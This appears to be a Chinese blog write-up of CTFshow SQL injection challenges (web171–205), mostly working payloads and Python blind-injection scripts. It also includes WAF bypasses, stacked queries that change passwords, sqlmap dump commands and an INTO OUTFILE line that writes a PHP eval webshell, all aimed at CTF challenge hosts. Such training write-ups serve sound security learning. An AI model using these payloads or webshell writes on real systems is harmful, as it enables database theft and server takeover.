CTFshow sql注入 上篇(web171-220)更新中

1,097 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。


前言

师傅们加油!!!


题目

web 171(万能密码)

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

id存在注入,可以直接用万能密码' or 1=1 %23,这时候#会把后面过滤了, where username !='flag' and id = '' or 1=1 %23条件恒成立,select语句返回所有结果

web 172(回显内容过滤,base64或者hex编码绕过)

(猫猫挺好玩的)

发现对username的回显内容进行检测

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

可以用base64编码或者hex编码绕过,to_base64(),hex()

'  union select hex(username),password from ctfshow_user2 where username='flag

web 173(回显内容过滤,base64或者hex编码绕过)

对比上题,对所有回显内容都做了检测

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

由于flag格式是ctfshow{XXX},所以我们的flag不会检测到,直接用上题的payload,把ctfshow_user2改成ctfshow_user3

'  union select 1,hex(username),password from ctfshow_user3 where username='flag

突然想起来,如果flag格式是ctfshow{XXX}话,过滤flag并没有什么影响,已经知道表名,可以直接查询password拿到flag

'  union select 1,1,password from ctfshow_user3 where username='flag

web 174 (布尔盲注丶trim盲注丶replace替换字符)

过滤更严格了,数字也会被检测到

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

试过了编码,都没有回显,应该是编码后还是存在数字,只能换个方法了

想到可以用盲注去解,保险起见现在burp抓包根据请求包写个盲注脚本,因为ctfshow的flag是用了uuid加密,可以直接构造uuid字典uuid=string.ascii_lowercase+"-}{"+string.digits

flag格式ctfshow{xxxxxxxx(8)-xxxx(4)-xxxx(4)-xxxx(4)-xxxxxxxxxxxx(12)}
其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。

布尔盲注

import requests
import string

url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show//api/v4.php?id=1'"

uuid=string.ascii_lowercase+"-}{"+string.digits
flag=""

for i in range(1,46):
    for j in uuid:	    
        payload = "and ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag') from {0} for 1))={1}--%20&page=1&limit=10".replace(" ", "/**/").format(i,ord(j))
        res = requests.get(url+payload)
        print(j)
        if "admin" in res.text:
            flag += j
            print("flag=",flag)
            break
        else:
            pass

trim盲注

# @Author:Kradress
import requests
import string

url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show/api/v4.php?id=1'"

uuid=string.ascii_lowercase+"-}{"+string.digits
flag="ctfshow{"

for i in range(1,46):
    for j in uuid:	    
        payload = f"and trim(leading '{flag}{j}' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))=trim(leading '{flag}.' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))--%20".replace(" ", "/**/")
        res = requests.get(url+payload)
        print(j)
        if "admin" not in res.text:
            flag += j
            print("flag=",flag)
            break
        else:
            pass

看了下群主的思路,可以用replace函数去把数字替换成其他字符

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!')
# "a1b2c3d4e5" => "a!b@c3d4e5"

web 175(时间盲注 二分法和Mysql写webshell)

本身自己写了一个时间盲注的脚本,但是表现不佳,跑的速度太慢了,参考了Y4tacker师傅的脚本,用了二分法

import requests

url = "http://82f3585f-b6e9-42c4-b8fa-6bd57cf51887.challenge.ctf.show/api/v5.php?id=1'"

result = ''

for i in range(1,40):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        payload = "and if(ascii(substr((select  password from ctfshow_user5 where username = 'flag' ),{0},1))>{1},sleep(3),1)%23".format(i,mid)
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

还有种办法是MySQL写webshell,可以用outfiledumpfile来写shell

联合查询

?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0]);?>',3 into outfile '/var/www/html/1.php' %23
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0])?>',3 into dumpfile '/var/www/html/1.php' %23

web 176(大小写绕过)

用order by,得知表有3列,发现select被过滤,但可以用大小写绕过

1' union sElect 1,2, group_concat(password) from `ctfshow_user`-- 

web 177(过滤空格)

可以用这些代替空格

%09
%0a
%0d  
%0c
/**/  
+
1'%0aunion%0asElect%0a1,2,%0agroup_concat(password)%0afrom%0a`ctfshow_user`%23

web178 (过滤空格)

上题的也可以解出来,换个方式

1'or'1'='1'%23

web179 (过滤空格)

%0c没被过滤

1'%0cunion%0csElect%0c1,2,%0cgroup_concat(password)%0cfrom%0c`ctfshow_user`%23

web180 (过滤空格)

发现#也被过滤了,而且只能回显一行

-1'%0cunion%0csElect'1',(sElect%0cgroup_concat(password)from`ctfshow_user`),'3

web181

过滤了所有空格

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }
-1'or(username)='flag

web182

这次过滤了flag,不过可以通过查询id来那道flag

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }   

看了下上题,flag的id是26 在这里插入图片描述

-1'or(id)='26

web183 (like盲注)

直接写个盲注脚本吧

import requests
import string

url = 'http://ec30edd1-31ee-45ae-9db4-7db5f4b6c83d.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "`ctfshow_user`where(pass)like'ctfshow{"

for i in range(40):
    for char in uuid:
        data = {
            'tableName' : passwd +f"{char}%'"
        }
        res = requests.post(url, data=data)
        if "$user_count = 1;" in res.text:
            passwd += char
            print(passwd)
            break

web184 (regexp 盲注)

比上题更加严格,但是可以用空格

import requests
import string

url = 'http://e62dd2da-6dc5-4d4c-8907-ab198e411f30.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = 'ctfshow_user group by pass having pass regexp(0x63746673686f777b' #ctfshow{

for i in range(40):
    for char in uuid:
        data = {
            'tableName' : passwd +f"{hex(ord(char))[2:]})"
        }
        res = requests.post(url, data=data)
        if "$user_count = 1;" in res.text:
            passwd += hex(ord(char))[2:]
            print(passwd)
            break

web185(过滤数字)

expression
false0
true1
true+true2
floor(pi())3
ceil(pi())4
floor(pi())+true5
floor(pi())+floor(pi())6
floor(pi())+ceil(pi())7
ceil(pi())+ceil(pi())8
floor(pi())*floor(pi())9
floor(pi())*floor(pi())+true10

waf不让用数字和字符串(过滤单引号双引号),可以用regex(concat(char(xxx),char(xxx)...))

# @Author:Kradress
from operator import concat
import requests
import string

url = 'http://814f9d18-e43c-4dad-bdb7-489f7a423606.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = 'ctfshow_user group by pass having pass regexp(' #ctfshow{
flag = 'ctfshow{'

def numToStr1(str):
    parts = []
    for s in str:
        parts.append(numToStr2(s))
    res = ','.join(parts)
    return f"concat({res})"

def numToStr2(num):
    parts = []
    n = ord(num)
    for i in range(n):
        parts.append("true")
    res = "+".join(parts)
    return f"char({res})"


for i in range(40):
    for char in uuid:
        data = {
            'tableName' : passwd + f"{numToStr1(flag+char)})"
        }
        res = requests.post(url, data=data)
        if "$user_count = 1;" in res.text:
            flag += char
            print(flag)
            break
       

web186(过滤数字)

同上

web187(md5($password,true) 万能密码)

看到md5($password,true),立马想到可以用万能密码绕过

ffifdyop
129581926211651571912466741651878684928

web188 (mysql弱类型比较)

参考博客 MySQL学习之弱类型

进行下列语句查询的时候,会发生隐式的数据类型转换,当username为0的时候,也会返回所有username为非0开头的字符串

  $sql = "select pass from ctfshow_user where username = {$username}";
username=0&password=0

web189(盲注读文件)

题目提示flag在/api/index.php中,猜测用load_file读文件.可以用like或者regexp匹配,也可以用loacte函数获取flag的下标,然后截取比较 盲注的话要寻找判断回显的地方,可以发现当用户名和密码为0时,显示密码错误,用户名为其他值的时候显示查询失败.

在这里插入图片描述

在这里插入图片描述

题目把and or & |都过滤了,不过 where username = {$username} 没有引号包裹可以直接传数字.用if或者case就可以了

# @Author:Kradress
from operator import concat
import requests
import string

url = 'http://2e697a15-84fe-4c2d-988f-37edb5260613.challenge.ctf.show/api/'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{" #ctfshow{
flag = 'ctfshow{'

for i in range(40):
    for char in uuid:
        print(char)
        data = {
            'username' : passwd + f"{char}'),0,1)",
            'password' : 0
        }
        res = requests.post(url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
            passwd += char
            print(passwd)
            break

web190(时间盲注)

发现没对username进行过滤,可以用sleep,直接上时间盲注

exp

# @Author:Kradress
import requests

url = "http://3cc6c564-6d1b-445c-9503-2cd45a50ea3c.challenge.ctf.show/api/"

result = ''

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
#爆字段值
payload = "select f1ag from `ctfshow_fl0g`"

for i in range(40,50):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        # print(mid)
        data = {
            'username' : f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'password' : 0
        }
        try:
            r = requests.post(url, data, timeout=0.8)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

web191(时间盲注)

ascii改同名函数ord,其他同上

web192(时间盲注)

不给用ascii就不用了

exp

# @Author:Kradress
import requests
import string

url = "http://36918409-2772-42d0-8ecb-bfbad2f46695.challenge.ctf.show/api/"

result = ''

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
#爆字段值
payload = "select f1ag from `ctfshow_fl0g`"
uuid = string.ascii_lowercase+string.digits+"{-_}"


for i in range(1,50):
    for char in uuid:
        data = {
            'username' : f"admin' and if(substr(({payload}),{i},1)='{char}',sleep(3),1)#",
            'password' : 0
        }
        try:
            r = requests.post(url, data, timeout=0.8)
        except:
            result += char #sleep导致超时
            print(result)
            break
    
    if char == '}':
        break

web193(时间盲注)

strsub不给用了,midleiftright都可以

right

从右边开始截取,配合ascii使用. ascii('str')返回字符串的第一个字符的ascii码 ascii(right('abc',2))= 97相当于 ascii('bc')=97

left

从左边开始截取,用reverse反转

ascii(reverse(left('abc',2))) = 97 相当于 ascii('bc')=97

mid和strsub效果一样,代码同上

web194(时间盲注)

继续白嫖

web195(update改密码)

本身开始想用下列语句的,但是返回查询失败

admin;update`ctfshow_user`set`pass`=123

检查了下语句没有被过滤,但是发现$username没有被单引号包裹,可以用十六进制或者unhex(hex())绕过

$sql = "select pass from ctfshow_user where username = {$username};";

payload

username=0x61646d696e;update`ctfshow_user`set`pass`=123&password=123

web196

长度限制了又过滤了select,除了爆破想不到还有什么方法可以解出来

看了其他师傅wp,实际上没有过滤select...

username=0;select(1)&password=1

web197-198(插入数据)

into被禁用了但是insert还能用

username:0;insert  ctfshow_user(`username`,`pass`) value(0,0);
passworf:0

web199-200(插入数据)

由于是row[0]==$password比较,show tables的row[0]结果就是ctfshow_user

username: 0;show tables;
password: ctfshow_user

web201(sqlmap-GET)

好久没用sqlmap了,还得看一下之前学习的文档

提示: 在这里插入图片描述 f12拿到referer

在这里插入图片描述 直接跑sqlmap

sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php

得知id存在注入点,还列举了布尔时间盲注以及联合注入的payload 在这里插入图片描述 以下为sqlmap常见的用法

当前数据库
参数:--current-db
返还当前连接的数据库。

列举数据库表
参数:--tables,--exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
--exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段
参数:--columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。

获取整个表的数据
参数:--dump,-C,-T,-D,--start,--stop,--first,--last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。

爆表名

sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=ctf.show --current-db --tables

在这里插入图片描述 爆字段

sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=ctf.show --current-db --tables -T ctfshow_user --columns 

在这里插入图片描述

爆字段值

sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=ctf.show --current-db --tables -T ctfshow_user --columns  -C pass -dump

在这里插入图片描述

web202(sqlmap-POST)

这题要用post传参

#http数据
#参数 --data
#此参数是把数据以post方式提交,sqlmap会自动检测post参数
sqlmap.py -u http://192.168.0.103/06/vul/sqli/sqli_id.php --data="id=1&submit=查询"

直接爆字段值

sqlmap -u http://8871fb1e-1ab8-45d4-af62-eda76e077947.challenge.ctf.show/api/ --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns  -C pass -dump

web203(sqlmap-PUT)

--method 指定 put 请求方式,url 要带 index.php,还要加上 --headers="Content-Type: text/plain" 便于 put 接收表单参数。

直接爆字段值

sqlmap -u http://7839878a-635c-449f-b72a-941bbb3d9977.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns  -C pass -dump

web204(sqlmap-cookie)

--cookie 输入cookie的请求参数

F12拿到cookie值

在这里插入图片描述

直接爆字段值

sqlmap -u http://ffe9c741-aee2-4314-bfd3-39845cc9c872.challenge.ctf.show/api/index.php  --cookie=c3fda8fa42ca6b9d76d76a2eee8a97be  --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns  -C pass -dump

web205(暂时休息)

抓包发现先访问/api/getToken.php页面,验证PHPSESSID后才能通过,去访问/api/

直接爆字段值

sqlmap -u http://ffe9c741-aee2-4314-bfd3-39845cc9c872.challenge.ctf.show/api/index.php   --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns  -C pass -dump

总结

...